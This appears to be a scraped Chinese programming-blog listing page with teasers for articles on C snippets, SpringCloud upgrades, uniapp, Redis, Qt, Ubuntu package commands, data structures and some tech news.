算法思想 算法实现 #define INT_MAX 0x7fffffff //c语言int类型最大值 //计算绝对值 int abs(int a){if(a<0) return -a;else return a; } //判断a是否为3个数中最小值 bool isMin(int a,int b,int c){if(a<b&&a<c) return true;return false; }//主函数 in…
阅读更多...
SpringCloud 微服务集群升级记录（1.5.x-2.7.18）

SpringCloud 微服务集群升级记录（1.5.x-2.7.18）

前言 前段时间&#xff0c;因项目被扫出大量漏洞&#xff0c;全是因为依赖版本过低&#xff0c;存在高中危漏洞需要升级。正好本来也有规划集群升级&#xff0c;因为工作量大迟迟落实不了&#xff0c;正好有这次修漏洞的机会&#xff0c;升级微服务集群。这篇文章主要记录了本…
阅读更多...
案例053:基于微信小程序的乐室预约系统

案例053:基于微信小程序的乐室预约系统

文末获取源码 开发语言&#xff1a;Java 框架&#xff1a;SSM JDK版本&#xff1a;JDK1.8 数据库&#xff1a;mysql 5.7 开发软件&#xff1a;eclipse/myeclipse/idea Maven包&#xff1a;Maven3.5.4 小程序框架&#xff1a;uniapp 小程序开发软件&#xff1a;HBuilder X 小程序…
阅读更多...
如何快速完成企业私有云部署

如何快速完成企业私有云部署

快解析赋能企业私有云部署 ​ 很多企业形成了以总部为中心的多点生产体系结构&#xff0c;并借助网络化办公工具搭建跨区域协同办公系统&#xff0c;满足总部与分支机构间的信息互通&#xff0c;进而促进异地业务的信息共享&#xff0c;提高办公处理效率和综合管理水平。 北…
阅读更多...
redis-学习笔记(string)

redis-学习笔记(string)

redis 中的字符串, 是按照二进制的方式存储和读取的, 即存啥取啥, 所以一般不会出现乱码问题 (乱码问题是因为存储和读取时使用的编码方式不一样, 但是 redis 没有编码转换) redis 限制了 string 的大小 : 512M, 因为 单线程模型 希望进行的操作能够比较快速, 越大越慢 set key…
阅读更多...
基于Java技术的选课管理系统设计与实现

基于Java技术的选课管理系统设计与实现

末尾获取源码 开发语言&#xff1a;Java Java开发工具&#xff1a;JDK1.8 后端框架&#xff1a;SSM 前端&#xff1a;采用JSP技术开发 数据库&#xff1a;MySQL5.7和Navicat管理工具结合 服务器&#xff1a;Tomcat8.5 开发软件&#xff1a;IDEA / Eclipse 是否Maven项目&#x…
阅读更多...
uniapp实战 —— 弹出层 uni-popup (含vue3子组件调父组件的方法)

uniapp实战 —— 弹出层 uni-popup (含vue3子组件调父组件的方法)

效果预览 弹出的内容 src\pages\goods\components\ServicePanel.vue <script setup lang"ts"> // 子组件调父组件的方法 const emit defineEmits<{(event: close): void }>() </script><template><view class"service-panel"…
阅读更多...
uniapp-实现一级二级职位选择，完整页面！！！

uniapp-实现一级二级职位选择，完整页面！！！

一、需求 该页面实现的功能有&#xff1a; 该页面是左侧为一级&#xff0c;右侧为二级&#xff1b;可以搜索职位进行选择&#xff1b;底部显示已选的岗位&#xff0c;点击每一项会删除&#xff1b;右侧的二级岗位&#xff0c;点击时会选中&#xff0c;再次点击会取消&#xf…
阅读更多...
Qt 5.15.2 三维显示功能

Qt 5.15.2 三维显示功能

Qt 5.15.2 三维显示功能 三维显示效果&#xff1a; .pro项目文件 QT core gui opengl 3dcore 3drender 3dinput 3dextrasgreaterThan(QT_MAJOR_VERSION, 4): QT widgetsCONFIG c17# You can make your code fail to compile if it uses deprecated APIs. # In ord…
阅读更多...
“我要报名”参观双十二外贸电商节，报名方式都在这！

“我要报名”参观双十二外贸电商节，报名方式都在这！

双十二外贸电商节深圳进出口贸易博览会 2023年12月11-12日 深圳福田会展中心 近1万方展览面积 30000专业观众 跨境选品 外贸采购 行业趋势 人才对接 ▼▼▼▼ 展会时间 2023年12月11日-12日 展会地点 深圳福田会展中心 双十二外贸电商节暨2023深圳进出口贸易博览会选…
阅读更多...
更多内窥镜维修技能学习与交流可关注西安彩虹

更多内窥镜维修技能学习与交流可关注西安彩虹

内窥镜结构及光学成像原理 众多品牌的硬镜其内部结构基本相似&#xff08;如下图&#xff09;&#xff0c;最关键的在于不同用途的硬镜在其结构上发生变化&#xff0c;包括光学成像系统和机械结构。光学成像系统由物镜系统、转像系统、目镜系统三大系统组成。 工作原理 被观察…
阅读更多...
发布“最强”AI大模型，股价大涨，吊打GPT4的谷歌股票值得投资吗？

发布“最强”AI大模型，股价大涨，吊打GPT4的谷歌股票值得投资吗？

来源&#xff1a;猛兽财经 作者&#xff1a;猛兽财经 谷歌在AI领域的最新进展&#xff0c;引发投资者关注 在谷歌-C(GOOGL)谷歌-A&#xff08;GOOG&#xff09;昨日发布了最新的AI大模型Gemini后&#xff0c;其股价就出现了大幅上涨&#xff0c;更是引发了投资者的密切关注&a…
阅读更多...
将输入的字符串反向输出(c语言)

将输入的字符串反向输出(c语言)

#include<stdio.h> #include<string.h> int main() {int i, j, k;char s[50], temp;gets(s);//输入k strlen(s);//计算字符的长度//反向输出for (i 0, j k - 1;i < k / 2;i, j--){temp s[i];s[i] s[j];s[j] temp;}puts(s);//输出 }
阅读更多...
Ubuntu22.04安装和卸载软件的命令行

Ubuntu22.04安装和卸载软件的命令行

一、安装 sudo apt install xxx 二、卸载 sudo apt remove xxx 三、卸载依赖包(可选) 第二步软件卸载之后&#xff0c;有一些依赖包没有被卸载。可以使用sudo apt autoremove xxx来卸载。如果不卸载应该也没什么影响
阅读更多...
数据结构线性表-栈和队列的实现

数据结构线性表-栈和队列的实现

1. 栈(Stack) 1.1 概念 栈&#xff1a;一种特殊的线性表&#xff0c;其只允许在固定的一端进行插入和删除元素操作。进行数据插入和删除操作的一端称为栈 顶&#xff0c;另一端称为栈底。栈中的数据元素遵守后进先出LIFO&#xff08;Last In First Out&#xff09;的原则。 …
阅读更多...
周星驰 互联网3.0 团队下个月将上线独立 App

周星驰 互联网3.0 团队下个月将上线独立 App

2023年12月7日&#xff0c;新浪科技报道指出&#xff0c;周星驰旗下的互联网3.0团队透露&#xff0c;Moonbox&#xff0c;这家周星驰创立的互联网3.0初创公司&#xff0c;计划在明年1月份完成Moonbox App的上线&#xff0c;届时该应用将免费向用户提供服务。 目前&#xff0c;…
阅读更多...
进制 + 原码，反码，补码

进制 + 原码，反码，补码

进制转换 整数部分 小数部分 原码 反码 补码 原码转补码&#xff1a; 左边和右边第一个1不变&#xff0c;中间取反。-0 除外。 计算机系统中数值一律用补码来存储的原因 其他 术语 进制表 进制数的表示 详细教程可转 爱编程的大丙
阅读更多...
GEE：不同方向的线性检测算子

GEE：不同方向的线性检测算子

作者：CSDN @ _养乐多_ 本文将介绍在 Google Earth Engine（GEE）平台上，使用不同方向的线性检测算子进行卷积操作的代码框架、核心函数和多种卷积核，比如 E-W、NE-SW、N-S、NW-SE 方向检测算子等。 结果如下图所示， 文章目录 一、定向检测算子二、完整代码三、代码链接一…
阅读更多...
机器人纯阻抗控制接触刚性环境

机器人纯阻抗控制接触刚性环境

问题描述 在机器人学中&#xff0c;阻抗控制是一种常用的控制策略&#xff0c;用于管理机器人在与环境交互时的运动和力。阻抗控制背后的关键概念是将环境视为导纳&#xff0c;而将机器人视为阻抗。 纯阻抗控制接触刚性环境时&#xff0c;机器人的行为方式主要受其阻抗参数的…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023